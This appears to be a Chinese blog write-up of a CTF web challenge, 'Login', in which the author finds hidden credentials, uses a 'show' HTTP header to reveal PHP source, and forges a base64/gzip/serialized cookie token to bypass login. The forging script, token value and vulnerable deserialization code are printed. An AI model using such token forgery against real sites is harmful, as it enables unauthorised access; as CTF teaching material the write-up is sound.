“百度杯”CTF比赛 十月场 -------Login

=============================================================

个人收获:

1.多观察网页的源代码

2.多留意http的访问信息

3.多留意http头参数的变化

4.收获了unserialize,gzuncompress参数的认识

===============================================================

 

 

题目界面

第一反应是通过burp抓包然后放到sqlmap里面去跑看看有什么有用的信息

自己手测发现页面只会跳出一个error并没有什么有用的信息

然后右键查看源码发现 test1,test1

题主还特地放在很下面 需要滚下去才能看到

 

然后用test1 test1成功登陆但是页面显示这个

看到这个第一反应就是看源代码然而并没有什么发现,然后通过burp抓包发现在http头里面有一个特别的参数show

这个参数挺可疑的,尝试把show:0(注意英文字符,冒号后面有一个空格)放到请求包里面测试下发现结果还是一样

但是换成了show:1就出现惊喜了

 

代码如下

<!-- <?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
  public $where;
  function __wakeup()
  {
    if(!empty($this->where))
    {
      $this->select($this->where);
    }
  }
  function select($where)
  {
    $sql = mysql_query('select * from user where '.$where);
    return @mysql_fetch_array($sql);
  }
}
if(isset($requset['token']))
{
  $login = unserialize(gzuncompress(base64_decode($requset['token'])));
  $db = new db();
  $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
  if($login['user'] === 'ichunqiu')
  {
    echo $flag;
  }else if($row['pass'] !== $login['pass']){
    echo 'unserialize injection!!';
  }else{
    echo "(╯‵□′)╯︵┴─┴ ";
  }
}else{
  header('Location: index.php?error=1');
}
?> -->

对他进行代码审计

 

发现这段

if($login['user'] === 'ichunqiu')
  {
    echo $flag;
  }else if($row['pass'] !== $login['pass']){
    echo 'unserialize injection!!';
  }else{
    echo "(╯‵□′)╯︵┴─┴ ";
  }
}else{
  header('Location: index.php?error=1');
}

 

那么login['user']从这段来

if(isset($requset['token']))
{
  $login = unserialize(gzuncompress(base64_decode($requset['token'])));
  $db = new db();
  $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');

我们可以发现requset中获取token值然后对它进行unserialize,gzuncompress,base64_decode等一系列操作得到login,

 

unserialize:对单一的已序列化的变量进行操作,将其转换回 PHP 的值

gzuncompress:解压被压缩的字符串

 

然后在login中获取键为user的值,如果等于ichunqiu就得出flag

那么我们只要对user:ichunqiu进行一系列逆操作就行

 

<?php
$a = array("user"=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a

?>

得出

 

我们只要在Cookie中填入  token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==;在发送过去就能获得flag

 注意token前面有个空格,结尾有个分号

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值